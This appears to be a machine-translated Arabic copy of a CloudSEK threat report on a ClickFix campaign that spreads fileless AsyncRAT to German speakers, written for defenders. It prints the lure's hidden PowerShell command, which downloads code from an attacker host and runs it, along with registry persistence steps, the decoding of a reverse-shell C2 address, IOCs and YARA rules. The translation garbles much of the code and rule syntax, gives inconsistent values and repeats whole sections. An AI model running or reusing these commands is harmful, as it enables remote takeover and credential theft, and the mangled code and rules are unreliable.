🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي

يتم توزيع Asyncrat بدون ملفات عبر تقنية Clickfix التي تستهدف المستخدمين الناطقين باللغة الألمانية

تستهدف حملة Asyncrat التي لا تحتوي على ملفات المستخدمين الناطقين باللغة الألمانية عبر مطالبة وهمية «أنا لست روبوتًا» تنفذ شفرة PowerShell الضارة. يتم تسليمه من خلال مواقع ذات طابع Clickfix، وهو ينتهك أدوات النظام لتحميل كود C # المشوش في الذاكرة، مما يتيح الوصول الكامل عن بُعد وسرقة بيانات الاعتماد. يستمر عبر مفاتيح التسجيل ويتصل بخادم C2 على المنفذ 4444. يجب على المؤسسات حظر نشاط PowerShell المريب وفحص الذاكرة بحثًا عن التهديدات.

كوشيك بالم
June 16, 2025
Green Alert
Last Update posted on
August 21, 2025
Table of Contents
Author(s)
No items found.

ملخص تنفيذي

ينضم Asyncrat الذي لا يحتوي على ملفات إلى مجموعة Clickfix، من خلال حملة غامضة تستند إلى PowerShell. يتم تسليم البرامج الضارة عبر مطالبة تحقق مزيفة تجذب المستخدمين إلى تنفيذ أمر ضار. استنادًا إلى التفضيلات اللغوية في مطالبة التحقق، يمكننا التأكد بثقة عالية من أن الحملة تستهدف المستخدمين الناطقين باللغة الألمانية. تنتهك السلسلة أدوات النظام الشرعية ومحمّلات C # في الذاكرة ذات السلاسل العكسية لتجنب الاكتشاف. بمجرد تنفيذه، يثبت البرنامج الضار الثبات من خلال مفاتيح التسجيل ويتصل بخادم TCP C2 البعيد على المنفذ 4444. إنه يتيح التحكم الكامل عن بُعد وسرقة بيانات الاعتماد واستخراج البيانات - كل ذلك دون إسقاط الملفات على القرص. تتضمن عمليات التخفيف حظر تنفيذ PowerShell المريب ومراقبة نشاط التسجيل ومسح الذاكرة بحثًا عن الحمولات داخل الذاكرة المستخدمة بشكل شائع في طرق التسليم المستندة إلى LOLbins.

التحليل

خلال دورة اكتشاف وإسناد البنية التحتية للمهاجم الروتيني، اكتشفنا موقعًا إلكترونيًا للتسليم تحت عنوان Clickfix.

عندما تنقر الضحية على «أنا لست روبوتًا»، يتم نسخ الأمر إلى الحافظة، ويتم عرض التعليمات للضحية لاتباعها.

الأمر المنسوخ:

conhost.exe - بوويرشيل بدون رأس -w مخفي -nop -c $x =

[System.Text.Encoding]:: UTF8.getString ((استدعاء - طلب الويب - URI

'http://namoet[.]de:80/x').Content); cmd /c $x» انقر فوق إدخال هويتك!

السلسلة»اضغط على إدخال هويتك للتحقق من هويتك!«داخل الأمر، يُترجم إلى «اضغط على Enter لتأكيد هويتك!». يشير هذا إلى أن صفحة تسليم clickfix مصممة لاستهداف المستخدمين الناطقين باللغة الألمانية.

سايبر كيل تشين

تفصيل خطوة بخطوة

1. يستخدم الأمر المنسوخ أداة مساعدة للنظام، conhost، لاستدعاء powershell بثلاث علامات.

بوويرشيل -w مخفي -nop -c

  1. - تم إخفاؤها: يخفي نافذة بوويرشيل.
  2. - لا: لا يوجد ملف تعريف (لا يتم تحميل البرامج النصية لملف تعريف PowerShell).
  3. -ج: يقوم بتنفيذ الأمر الذي يتبعه.

2. يقوم بتنزيل حمولة powershell من خادم بعيد.

$x = [System.Text.Encoding]:: UTF8.getString ((استدعاء طلب الويب - URI 'http://namoet[.]de:80/x').Content)

يفترض الأمر أن المحتوى عبارة عن نص مشفر UTF-8، ويقوم بفك تشفيره كسلسلة.

* يمكن العثور على محتويات الحمولة التي تم تنزيلها «x» في الملحق.

3. أخيرًا، يتم تنفيذ السلسلة التي تم فك تشفيرها باستخدام موجه أوامر Windows.

cmd /c $x

التحليل - الحمولة التي تم تنزيلها «x»

1. يقوم بإعداد الثبات

$c = 'conhost.exe --بوويرشيل بدون رأس -nop -w مخفي -c '+ [شار] 34+$myInvocation.myCommand+ [char] 34;

تعيين خاصية العنصر 'HKC U:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce '' 'windows'...

تعيين الخاصية 'HKC U:\SOFTWARE\Microsoft\Windows NT\ الإصدار الحالي\ Windows' '' win '$c;

  • الهدف: تأكد من إعادة تنفيذ البرنامج النصي PowerShell عند تسجيل الدخول أو التشغيل التالي باستخدام مفاتيح تسجيل RunOnce و Windows.
  • مسارات الثبات:
    • يقوم RunOnce بتنفيذ البرنامج النصي مرة واحدة عند تسجيل الدخول التالي.
    • يحتوي مفتاح Windows\ win على الأمر الكامل لإعادة استخدامه من قبل عملية جديدة.

2. يحجب الحمولة في ASK== gclrm...

$f = 'ask=' + '=gclRML' + '0v2b' + 'tFM' + 'blk='؛

$d = $f. السلسلة الفرعية (3,16). إلى CharArray ()؛

[مصفوفة]:: عكسي ($d)؛

$y = [System.Text.Encoding]:: Default.getString ([System.Convert]:: من سلسلة Base64 ($d - الانضمام «))؛

  • $f هو سلسلة base64 مجزأة، تم عكسها قبل فك التشفير.
  • بمجرد فك التشفير، ينتج ملف اسم أسلوب.NET أو وسيطة الدالة، تستخدم أدناه.

3. يقوم بتحميل كود C # المضمن والمبهم

<obfuscated and reversed C# code>$g = ''؛

$l = $g. إلى CharArray ()؛

[مصفوفة]:: عكسي ($l)؛

نوع الإضافة - تعريف النوع $ ($l - join «)؛

  • $g عبارة عن فئة C # المعكوسة، وهو عبارة عن غلاف عكسي ضار لـ .NET أو أداة تثبيت.
  • وهي تشمل:
    • مقابس TCP.
    • عملية التفريخ.
    • إعادة توجيه الإدخال/الإخراج القياسي.
    • وظائف الترميز.
  • تقوم Add-Type بتجميع هذه الفئة وتحميلها في الذاكرة.

* يمكن العثور على محتويات «$l» في الملحق.

4. ينفذ التعليمات البرمجية المضمنة

[B] ::ma ($.trim ())

  • تحتوي الفئة B (المحددة في فقاعة C #) على طريقة ثابتة ma ().
  • يتم تمرير $y (الذي تم فك تشفيره مسبقًا) كوسيطة.

اشتقاق $y

$f'ask' = '+' = gclrml'+'0v2b'+'tfm'+'blk=';

$d = $f. السلسلة الفرعية (3,16). إلى CharArray ()؛

[مصفوفة]:: عكسي ($d)؛

$y = [System.Text.Encoding]:: Default.getString ([System.Convert]:: من سلسلة Base64 ($d - الانضمام «))؛

تفصيل هذا:

الخطوة 1: إنشاء $f

$f = 'ask=' + '=gclRML' + '0v2b' + 'tFM' + 'blk='

= 'ask==gclrml0v2btfmblk='

الخطوة 2: خذ سلسلة فرعية من الإزاحة 3 بطول 16

سلسلة فرعية $f (3,16)

= '=GCLRML0v2BtFMBL'

الخطوة 3: التحويل إلى المصفوفة والعكس

# قبل الاتجاه المعاكس: '=GCLRML0v2BtFMBL'

# بعد الاتجاه المعاكس: 'lbmftbt2v0lmrllg ='

الخطوة 4: فك تشفير Base64

السلسلة الأساسية 64: 'lbmftbt2v0lmrllg ='

تم فك الشفرة: 'namoet [.] de:44'

ماذا تفعل الحمولة؟

  1. يقوم بتأسيس عميل TCP لـ العنوان: 4444.
  2. يقوم بالتهيئة:
  • معلومات بدء العملية باستخدام:
    • إعادة توجيه الإدخال القياسي = صحيح
    • إعادة توجيه الإخراج القياسي = صحيح
    • خطأ قياسي في إعادة التوجيه = صحيح
    • استخدم ShellExecute = خطأ
    • إنشاء نافذة = صحيح
  1. تطلق قذيفة.
  2. يعيد الإخراج والخطأ إلى C2.
  3. يستمع إلى أوامر الإدخال من C2 وينفذها على نظام الضحية.

في بعض رموز الخروج، فإنه تقتل نفسها مع getCurrentProcess () .Kill ().

الإحالة - AsyncRAT

1. استخدام بوويرشيل و conhost.exe للتنفيذ الخفي

  • نصيحة: T1059.001 - بوويرشيل
  • غالبًا ما يستخدم Asyncrat PowerShell الغامض الذي تم إطلاقه من conhost.exe أو powershell.exe مع علامات مثل -w hidden و -nop و -c لتقليل الرؤية.

في عينتنا:

conhost.exe --بوويرشيل بدون رأس -w مخفي -nop -c...

يتم ملاحظة نمط التنفيذ هذا بشكل متكرر في تسليم Asyncrat.

2. تجميع C # في الذاكرة عبر نوع الإضافة

  • نصيحة: T1127.001 - تجميع بعد التسليم
  • تشتهر شركة Asyncrat بـ تحميل وظائفها الأساسية من خلال كود C # المبهم والمعكوس، والتي يتم تجميعها بعد ذلك في الذاكرة باستخدام النوع الإضافي لـ PowerShell.

تحتوي الحمولة على:

نوع الإضافة - تعريف النوع $ ($l - join «)

[B] ::ma ($.trim ())

3. تنسيق .NET Loader ذو الهندسة العكسية

  • نصيحة: T1218.005 - تنفيذ الوكيل الثنائي الموقّع: rundll32
  • تتضمن الحمولة معالجة البايت النموذجية [] وحقن العملية و base64 C # المضمّن بتنسيق معكوس.
  • يتطابق منطق أداة التحميل هذه مع كيفية قيام AsyncRAT بتنظيم وتحميل الحمولات المشفرة في وقت التشغيل.

4. TCP C2 على المنفذ 4444 مع إدارة العمليات ذات النمط المتزامن

  • نصائح:
    • T1071.001 - بروتوكول طبقة التطبيقات: بروتوكولات الويب
    • T1571 - استخدام المنفذ غير القياسي
  • مضيف C2 هو namoet [.] de:4444، والذي يتوافق مع السلوك الافتراضي لـ AsyncRAT: اتصال TCP مستمر (غالبًا المنفذ 4444 أو ما شابه).

يحتوي رمز .NET على:

عميل TCPClient b = عميل TCPClient الجديد ()؛ b.connect (d، e)؛

...

بينما (صحيح) {c.اقرأ (...)...}

وهذا يدل على وجود قناة خلفية طويلة المدى - وهي سمة مميزة جدًا لمنطق C2 الخاص بـ AsyncRAT.

5. استمرار التسجيل مع HKCU\... \ قم بتشغيل مرة واحدة

  • نصيحة: T1547.001 - مفاتيح تشغيل السجل/مجلد بدء التشغيل

تحدد البرامج الضارة الثبات باستخدام:
تعيين خاصية العنصر 'HKCU:\... تشغيل مرة واحدة'...

غالبًا ما تستخدم متغيرات AsyncRAT HKCU\ البرامج\ Microsoft\ Windows\ CurrentVersion\ RunOnce أو Run للاستمرار على مستوى المستخدم دون تشغيل UAC.

رسم خرائط MITRE

Activity Description MITRE ATT&CK ID ATT&CK Name
Initial execution via conhost.exe with PowerShell Executes PowerShell payload using --headless, -w hidden, -nop, -c flags to avoid detection T1059.001 Command and Scripting Interpreter: PowerShell
Remote payload retrieval Downloads second stage (http://namoet[.]de/x) using Invoke-WebRequest T1105 Ingress Tool Transfer
Payload obfuscation and decoding Reversed, base64-encoded C# payload embedded in a PowerShell string T1027 Obfuscated Files or Information
In-memory compilation of C# code Uses Add-Type to compile and run embedded .NET code at runtime T1127.001 Compile After Delivery
TCP C2 connection Maintains persistent C2 connection to attacker over TCP (port 4444) T1071.001, T1571 Application Layer Protocol: Web Protocols, Non-Standard Port
Process management and output redirection Redirects standard input/output for command execution and interprocess communication T1056.001 Input Capture: Keylogging / Terminal I/O
Persistence via registry Sets HKCU:\...\RunOnce and HKCU:\...\Windows keys with launcher commands T1547.001 Registry Run Keys / Startup Folder
Process injection and memory manipulation (optional in loader) Converts byte arrays to shellcode or DLL for injection T1055.001 Process Injection
Anti-analysis / obfuscation Reverse-order strings, dynamic decoding, reflective loading used to evade detection T1027.002, T1140 Obfuscated Files: Reversible Encoding, Deobfuscate/Decode Files or Information

IOC

Indicator Type Value Use
IP 109.250.111[.]155 Clickfix Delivery
FQDN namoet[.]de Clickfix / Command & Control server
Port 4444 TCP reverse shell listener port
URL hxxp[:]//namoet[.]de:80/x PowerShell payload
Registry (HKCU) SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\windows RunOnce key ensures persistence on next boot
Registry (HKCU) SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\win Windows\win holds obfuscated PowerShell command

كما نعلم، نسخت صفحة تسليم clickfix أمرًا تم إلحاقه بالنص. «اضغط على إدخال هويتك للتحقق من هويتك!». عند استخدام النص الموجود في الأمر المنسوخ كنقطة محورية، اكتشفنا بنية أساسية إضافية يتحكم فيها المهاجم والتي تم استخدامها في نفس الحملة لتسليم clickfix وعمليات C2.

Indicator Type Value Use
IP109.250.109[.]80Clickfix Delivery
IP109.250.108[.]183Clickfix Delivery
IP109.250.109[.]205Clickfix Delivery
IP109.250.110[.]222Clickfix Delivery
IP109.250.110[.]98Clickfix Delivery
IP109.250.110[.]142Clickfix Delivery
IP109.250.111[.]219Clickfix Delivery
IP109.250.111[.]186Clickfix Delivery
IP109.250.110[.]140Clickfix Delivery
IP109.250.110[.]190Clickfix Delivery
IP109.250.111[.]176Clickfix Delivery
IP109.250.110[.]228Clickfix Delivery
IP109.250.111[.]75Clickfix Delivery

استنادًا إلى البنية التحتية الإضافية المكتشفة، يمكننا التأكد بثقة متوسطة من أن هذه الحملة مستمرة منذ أبريل 2025 على الأقل.

قاعدة يارا (تركز على الذاكرة)

قاعدة غير متزامنة_ذاكرة_مقيم_محمل_معكوس

{

ميتا:

المؤلف = «CloudSek استخبارات التهديدات الإلكترونية»

description = «يكتشف رمز أداة تحميل AsyncRAT C # في الذاكرة، مع التركيز على السلاسل المعكوسة وسلوك التحميل الانعكاسي»

عائلة البرامج الضارة = «AsyncRAT»

التاريخ = «2025-06-12"

النطاق = «الذاكرة»

سلاسل:

//مساحات أسماء .NET المعكوسة التي تشير إلى التشويش

$1 = «gnidaerht.metsys gnisu» أسي

$2 = «تشغيل النص. metsys» أسي

$3 = «مفتاح التشغيل Stekcos.ten.metsys» أسي

$4s = «محرك البحث Scitsongaid.metsys» أسي

//نوع الإضافة المستخدم في وقت التشغيل

$s5 = «نوع الإضافة - تعريف النوع» ascii

//تم عكس منطق TCPClient (نموذج سلسلة في الذاكرة)

$6s = «ثنيلكبت ويب = ب نادي ثنيلكبت» ascii

$s7 = «) (f)؛ (Maertsteg.b = c؛) e، (tcennoc.b» ascii

//تم عكس تواقيع الوظائف

$8 = «ديفو سيتيز كلوب» ascii

$9 = «نادي سالك» أسي

//تم عكس استمرارية التسجيل (اختياري)

$10 = «'nosiW' = الوحدة الأولى\\... ' حافظة آسكي عريضة مقاس 8 بوصات من KUH

الشرط:

5 من (دولارات*)

}

قاعدة يارا (عامة)

القاعدة غير المتزامنة _PowerShell_المحمل العكسي

{

ميتا:

المؤلف = «CloudSek استخبارات التهديدات الإلكترونية»

الوصف = «يكتشف حمولات AsyncRAT باستخدام PowerShell باستخدام أداة تحميل C # ذات ترميز أساسي معكوس ومحمل من النوع الإضافي»

عائلة البرامج الضارة = «AsyncRAT»

التاريخ = «2025-06-12"

سلاسل:

//نمط PowerShell باستخدام علامات التشويش الشائعة

$ps_flags = «بوويرشيل -نوب -w مخفي -c» أسي

//استخدام Add-Type لتجميع كود C # في وقت التشغيل

$add_type = «إضافة نوع - تعريف النوع» كما يلي

//مفاتيح استمرار التسجيل

$reg1 = «HKCU:\\ البرنامج\\ ميكروسوفت\\ ويندوز\\ الإصدار الحالي\\ تشغيل مرة واحدة» ascii

$reg2 = «HKCU:\\ البرامج\\ ميكروسوفت\\ ويندوز NT\\ الإصدار الحالي\\ ويندوز» ascii

//تم عكس مساحة اسم C # الشائعة لـ AsyncRAT

$rev_using = «gnidaerht.metsys gnisu» أسي

$rev_dns = «)] 0 [w (gnirtsteg.tluafed.gnidocne = Emanelif» ascii

//قام TCPCClient و Connect () بعكس المكالمات في .NET

$tcp_client = «ثنيلكبت ويب = ب نادي ثنيلكبت» ascii

$connect_call = «) (f)؛ (مايرتستيج.b = c؛) e، d (tcennoc.b» ascii

//منفذ TCP الشائع المستخدم (4444) لـ C2

$port_4444 = «4444" أسي

الشرط:

كل من ($ps_flags، $add_type، $reg1، $rev_using، $tcp_client) و

أي من ($reg2، $rev_dns، $port_4444، $connect_call)

}

التأثير

  • جهاز تحكم كامل عن بعد: يوفر Asyncrat للمهاجمين وصولاً كاملاً عن بُعد إلى النظام المخترق، مما يتيح تسجيل المفاتيح وترشيح الملفات وتنفيذ الأوامر عن بُعد.
  • سرقة بيانات الاعتماد: يمكن للبرامج الضارة استخراج بيانات الاعتماد من المتصفحات أو الذاكرة أو بيانات الجلسة المحفوظة، مما يؤدي إلى مزيد من الحركة الجانبية أو اختراق الحساب.
  • الثبات عبر إساءة استخدام التسجيل: من خلال الكتابة إلى HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce، تضمن البرامج الضارة تشغيلها عند تسجيل دخول المستخدم، وتنجو من عمليات إعادة التشغيل.
  • التهرب عبر التنفيذ داخل الذاكرة: لا تلمس الحمولات القرص أبدًا - تتم جميع عمليات التنفيذ في الذاكرة (PowerShell العاكس+C # المعكوس)، متجاوزًا اكتشاف AV التقليدي المستند إلى الملفات.
  • اتصالات القيادة والتحكم: يستخدم اتصالات TCP الغامضة (غالبًا عبر منافذ مثل 4444) لتصفية البيانات أو استقبال الأوامر - مما يتيح عمليات سرية طويلة المدى.

عوامل التخفيف

  • حظر صناديق LolBins مثل conhost.exe لبرنامج بوويرشيل: استخدم EDR أو AppLocker لمنع الاستخدام المشبوه لـ conhost.exe --headless أثناء تشغيل powershell.exe.
  • تجزئة الشبكة وتصفية الخروج: حظر اتصالات TCP الخارجية المعروفة أو المشبوهة (على سبيل المثال، المنفذ 4444 أو عناوين IP/النطاقات غير المعروفة)، وتطبيق الحظر المستند إلى المجال للبنية التحتية C2 المعروفة.
  • مراقبة التسجيل: قم بإعداد الكشف عن التغييرات التي تطرأ على المفاتيح عالية المخاطر مثل RunOnce و Windows\ win
  • مسح الذاكرة باستخدام YARA أو EDR: قم بتنفيذ المسح داخل الذاكرة باستخدام قواعد YARA (مثل تلك المتوفرة) لاكتشاف كود C # الغامض ومحمّلات Add Type ومنطق TCP.
  • وضع اللغة المقيدة في PowerShell + التسجيل: فرض وضع اللغة المقيدة في PowerShell عبر GPO aوقم بتمكين تسجيل ScriptBlock والنسخ لاكتشاف التعليمات البرمجية الغامضة أو العاكسة.

الملحق

  1. $l - أداة تحميل C # المبهمة لـ AsyncRAT

المراجع

Predict Cyber threats against your organization

Related Posts
No items found.

انضم إلى أكثر من 10,000 مشترك

تابع آخر الأخبار حول سلالات البرامج الضارة، وأساليب التصيد الاحتيالي،
مؤشرات التسوية وتسريب البيانات.

Take action now

Secure your organisation with our Award winning Products

CloudSEK Platform is a no-code platform that powers our products with predictive threat analytic capabilities.

استخبارات الخصم
Table of Content

ملخص تنفيذي

ينضم Asyncrat الذي لا يحتوي على ملفات إلى مجموعة Clickfix، من خلال حملة غامضة تستند إلى PowerShell. يتم تسليم البرامج الضارة عبر مطالبة تحقق مزيفة تجذب المستخدمين إلى تنفيذ أمر ضار. استنادًا إلى التفضيلات اللغوية في مطالبة التحقق، يمكننا التأكد بثقة عالية من أن الحملة تستهدف المستخدمين الناطقين باللغة الألمانية. تنتهك السلسلة أدوات النظام الشرعية ومحمّلات C # في الذاكرة ذات السلاسل العكسية لتجنب الاكتشاف. بمجرد تنفيذه، يثبت البرنامج الضار الثبات من خلال مفاتيح التسجيل ويتصل بخادم TCP C2 البعيد على المنفذ 4444. إنه يتيح التحكم الكامل عن بُعد وسرقة بيانات الاعتماد واستخراج البيانات - كل ذلك دون إسقاط الملفات على القرص. تتضمن عمليات التخفيف حظر تنفيذ PowerShell المريب ومراقبة نشاط التسجيل ومسح الذاكرة بحثًا عن الحمولات داخل الذاكرة المستخدمة بشكل شائع في طرق التسليم المستندة إلى LOLbins.

التحليل

خلال دورة اكتشاف وإسناد البنية التحتية للمهاجم الروتيني، اكتشفنا موقعًا إلكترونيًا للتسليم تحت عنوان Clickfix.

عندما تنقر الضحية على «أنا لست روبوتًا»، يتم نسخ الأمر إلى الحافظة، ويتم عرض التعليمات للضحية لاتباعها.

الأمر المنسوخ:

conhost.exe - بوويرشيل بدون رأس -w مخفي -nop -c $x =

[System.Text.Encoding]:: UTF8.getString ((استدعاء - طلب الويب - URI

'http://namoet[.]de:80/x').Content); cmd /c $x» انقر فوق إدخال هويتك!

السلسلة»اضغط على إدخال هويتك للتحقق من هويتك!«داخل الأمر، يُترجم إلى «اضغط على Enter لتأكيد هويتك!». يشير هذا إلى أن صفحة تسليم clickfix مصممة لاستهداف المستخدمين الناطقين باللغة الألمانية.

سايبر كيل تشين

تفصيل خطوة بخطوة

1. يستخدم الأمر المنسوخ أداة مساعدة للنظام، conhost، لاستدعاء powershell بثلاث علامات.

بوويرشيل -w مخفي -nop -c

  1. - تم إخفاؤها: يخفي نافذة بوويرشيل.
  2. - لا: لا يوجد ملف تعريف (لا يتم تحميل البرامج النصية لملف تعريف PowerShell).
  3. -ج: يقوم بتنفيذ الأمر الذي يتبعه.

2. يقوم بتنزيل حمولة powershell من خادم بعيد.

$x = [System.Text.Encoding]:: UTF8.getString ((استدعاء طلب الويب - URI 'http://namoet[.]de:80/x').Content)

يفترض الأمر أن المحتوى عبارة عن نص مشفر UTF-8، ويقوم بفك تشفيره كسلسلة.

* يمكن العثور على محتويات الحمولة التي تم تنزيلها «x» في الملحق.

3. أخيرًا، يتم تنفيذ السلسلة التي تم فك تشفيرها باستخدام موجه أوامر Windows.

cmd /c $x

التحليل - الحمولة التي تم تنزيلها «x»

1. يقوم بإعداد الثبات

$c = 'conhost.exe --بوويرشيل بدون رأس -nop -w مخفي -c '+ [شار] 34+$myInvocation.myCommand+ [char] 34;

تعيين خاصية العنصر 'HKC U:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce '' 'windows'...

تعيين الخاصية 'HKC U:\SOFTWARE\Microsoft\Windows NT\ الإصدار الحالي\ Windows' '' win '$c;

  • الهدف: تأكد من إعادة تنفيذ البرنامج النصي PowerShell عند تسجيل الدخول أو التشغيل التالي باستخدام مفاتيح تسجيل RunOnce و Windows.
  • مسارات الثبات:
    • يقوم RunOnce بتنفيذ البرنامج النصي مرة واحدة عند تسجيل الدخول التالي.
    • يحتوي مفتاح Windows\ win على الأمر الكامل لإعادة استخدامه من قبل عملية جديدة.

2. يحجب الحمولة في ASK== gclrm...

$f = 'ask=' + '=gclRML' + '0v2b' + 'tFM' + 'blk='؛

$d = $f. السلسلة الفرعية (3,16). إلى CharArray ()؛

[مصفوفة]:: عكسي ($d)؛

$y = [System.Text.Encoding]:: Default.getString ([System.Convert]:: من سلسلة Base64 ($d - الانضمام «))؛

  • $f هو سلسلة base64 مجزأة، تم عكسها قبل فك التشفير.
  • بمجرد فك التشفير، ينتج ملف اسم أسلوب.NET أو وسيطة الدالة، تستخدم أدناه.

3. يقوم بتحميل كود C # المضمن والمبهم

<obfuscated and reversed C# code>$g = ''؛

$l = $g. إلى CharArray ()؛

[مصفوفة]:: عكسي ($l)؛

نوع الإضافة - تعريف النوع $ ($l - join «)؛

  • $g عبارة عن فئة C # المعكوسة، وهو عبارة عن غلاف عكسي ضار لـ .NET أو أداة تثبيت.
  • وهي تشمل:
    • مقابس TCP.
    • عملية التفريخ.
    • إعادة توجيه الإدخال/الإخراج القياسي.
    • وظائف الترميز.
  • تقوم Add-Type بتجميع هذه الفئة وتحميلها في الذاكرة.

* يمكن العثور على محتويات «$l» في الملحق.

4. ينفذ التعليمات البرمجية المضمنة

[B] ::ma ($.trim ())

  • تحتوي الفئة B (المحددة في فقاعة C #) على طريقة ثابتة ma ().
  • يتم تمرير $y (الذي تم فك تشفيره مسبقًا) كوسيطة.

اشتقاق $y

$f'ask' = '+' = gclrml'+'0v2b'+'tfm'+'blk=';

$d = $f. السلسلة الفرعية (3,16). إلى CharArray ()؛

[مصفوفة]:: عكسي ($d)؛

$y = [System.Text.Encoding]:: Default.getString ([System.Convert]:: من سلسلة Base64 ($d - الانضمام «))؛

تفصيل هذا:

الخطوة 1: إنشاء $f

$f = 'ask=' + '=gclRML' + '0v2b' + 'tFM' + 'blk='

= 'ask==gclrml0v2btfmblk='

الخطوة 2: خذ سلسلة فرعية من الإزاحة 3 بطول 16

سلسلة فرعية $f (3,16)

= '=GCLRML0v2BtFMBL'

الخطوة 3: التحويل إلى المصفوفة والعكس

# قبل الاتجاه المعاكس: '=GCLRML0v2BtFMBL'

# بعد الاتجاه المعاكس: 'lbmftbt2v0lmrllg ='

الخطوة 4: فك تشفير Base64

السلسلة الأساسية 64: 'lbmftbt2v0lmrllg ='

تم فك الشفرة: 'namoet [.] de:44'

ماذا تفعل الحمولة؟

  1. يقوم بتأسيس عميل TCP لـ العنوان: 4444.
  2. يقوم بالتهيئة:
  • معلومات بدء العملية باستخدام:
    • إعادة توجيه الإدخال القياسي = صحيح
    • إعادة توجيه الإخراج القياسي = صحيح
    • خطأ قياسي في إعادة التوجيه = صحيح
    • استخدم ShellExecute = خطأ
    • إنشاء نافذة = صحيح
  1. تطلق قذيفة.
  2. يعيد الإخراج والخطأ إلى C2.
  3. يستمع إلى أوامر الإدخال من C2 وينفذها على نظام الضحية.

في بعض رموز الخروج، فإنه تقتل نفسها مع getCurrentProcess () .Kill ().

الإحالة - AsyncRAT

1. استخدام بوويرشيل و conhost.exe للتنفيذ الخفي

  • نصيحة: T1059.001 - بوويرشيل
  • غالبًا ما يستخدم Asyncrat PowerShell الغامض الذي تم إطلاقه من conhost.exe أو powershell.exe مع علامات مثل -w hidden و -nop و -c لتقليل الرؤية.

في عينتنا:

conhost.exe --بوويرشيل بدون رأس -w مخفي -nop -c...

يتم ملاحظة نمط التنفيذ هذا بشكل متكرر في تسليم Asyncrat.

2. تجميع C # في الذاكرة عبر نوع الإضافة

  • نصيحة: T1127.001 - تجميع بعد التسليم
  • تشتهر شركة Asyncrat بـ تحميل وظائفها الأساسية من خلال كود C # المبهم والمعكوس، والتي يتم تجميعها بعد ذلك في الذاكرة باستخدام النوع الإضافي لـ PowerShell.

تحتوي الحمولة على:

نوع الإضافة - تعريف النوع $ ($l - join «)

[B] ::ma ($.trim ())

3. تنسيق .NET Loader ذو الهندسة العكسية

  • نصيحة: T1218.005 - تنفيذ الوكيل الثنائي الموقّع: rundll32
  • تتضمن الحمولة معالجة البايت النموذجية [] وحقن العملية و base64 C # المضمّن بتنسيق معكوس.
  • يتطابق منطق أداة التحميل هذه مع كيفية قيام AsyncRAT بتنظيم وتحميل الحمولات المشفرة في وقت التشغيل.

4. TCP C2 على المنفذ 4444 مع إدارة العمليات ذات النمط المتزامن

  • نصائح:
    • T1071.001 - بروتوكول طبقة التطبيقات: بروتوكولات الويب
    • T1571 - استخدام المنفذ غير القياسي
  • مضيف C2 هو namoet [.] de:4444، والذي يتوافق مع السلوك الافتراضي لـ AsyncRAT: اتصال TCP مستمر (غالبًا المنفذ 4444 أو ما شابه).

يحتوي رمز .NET على:

عميل TCPClient b = عميل TCPClient الجديد ()؛ b.connect (d، e)؛

...

بينما (صحيح) {c.اقرأ (...)...}

وهذا يدل على وجود قناة خلفية طويلة المدى - وهي سمة مميزة جدًا لمنطق C2 الخاص بـ AsyncRAT.

5. استمرار التسجيل مع HKCU\... \ قم بتشغيل مرة واحدة

  • نصيحة: T1547.001 - مفاتيح تشغيل السجل/مجلد بدء التشغيل

تحدد البرامج الضارة الثبات باستخدام:
تعيين خاصية العنصر 'HKCU:\... تشغيل مرة واحدة'...

غالبًا ما تستخدم متغيرات AsyncRAT HKCU\ البرامج\ Microsoft\ Windows\ CurrentVersion\ RunOnce أو Run للاستمرار على مستوى المستخدم دون تشغيل UAC.

رسم خرائط MITRE

Activity Description MITRE ATT&CK ID ATT&CK Name
Initial execution via conhost.exe with PowerShell Executes PowerShell payload using --headless, -w hidden, -nop, -c flags to avoid detection T1059.001 Command and Scripting Interpreter: PowerShell
Remote payload retrieval Downloads second stage (http://namoet[.]de/x) using Invoke-WebRequest T1105 Ingress Tool Transfer
Payload obfuscation and decoding Reversed, base64-encoded C# payload embedded in a PowerShell string T1027 Obfuscated Files or Information
In-memory compilation of C# code Uses Add-Type to compile and run embedded .NET code at runtime T1127.001 Compile After Delivery
TCP C2 connection Maintains persistent C2 connection to attacker over TCP (port 4444) T1071.001, T1571 Application Layer Protocol: Web Protocols, Non-Standard Port
Process management and output redirection Redirects standard input/output for command execution and interprocess communication T1056.001 Input Capture: Keylogging / Terminal I/O
Persistence via registry Sets HKCU:\...\RunOnce and HKCU:\...\Windows keys with launcher commands T1547.001 Registry Run Keys / Startup Folder
Process injection and memory manipulation (optional in loader) Converts byte arrays to shellcode or DLL for injection T1055.001 Process Injection
Anti-analysis / obfuscation Reverse-order strings, dynamic decoding, reflective loading used to evade detection T1027.002, T1140 Obfuscated Files: Reversible Encoding, Deobfuscate/Decode Files or Information

IOC

Indicator Type Value Use
IP 109.250.111[.]155 Clickfix Delivery
FQDN namoet[.]de Clickfix / Command & Control server
Port 4444 TCP reverse shell listener port
URL hxxp[:]//namoet[.]de:80/x PowerShell payload
Registry (HKCU) SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\windows RunOnce key ensures persistence on next boot
Registry (HKCU) SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\win Windows\win holds obfuscated PowerShell command

كما نعلم، نسخت صفحة تسليم clickfix أمرًا تم إلحاقه بالنص. «اضغط على إدخال هويتك للتحقق من هويتك!». عند استخدام النص الموجود في الأمر المنسوخ كنقطة محورية، اكتشفنا بنية أساسية إضافية يتحكم فيها المهاجم والتي تم استخدامها في نفس الحملة لتسليم clickfix وعمليات C2.

Indicator Type Value Use
IP109.250.109[.]80Clickfix Delivery
IP109.250.108[.]183Clickfix Delivery
IP109.250.109[.]205Clickfix Delivery
IP109.250.110[.]222Clickfix Delivery
IP109.250.110[.]98Clickfix Delivery
IP109.250.110[.]142Clickfix Delivery
IP109.250.111[.]219Clickfix Delivery
IP109.250.111[.]186Clickfix Delivery
IP109.250.110[.]140Clickfix Delivery
IP109.250.110[.]190Clickfix Delivery
IP109.250.111[.]176Clickfix Delivery
IP109.250.110[.]228Clickfix Delivery
IP109.250.111[.]75Clickfix Delivery

استنادًا إلى البنية التحتية الإضافية المكتشفة، يمكننا التأكد بثقة متوسطة من أن هذه الحملة مستمرة منذ أبريل 2025 على الأقل.

قاعدة يارا (تركز على الذاكرة)

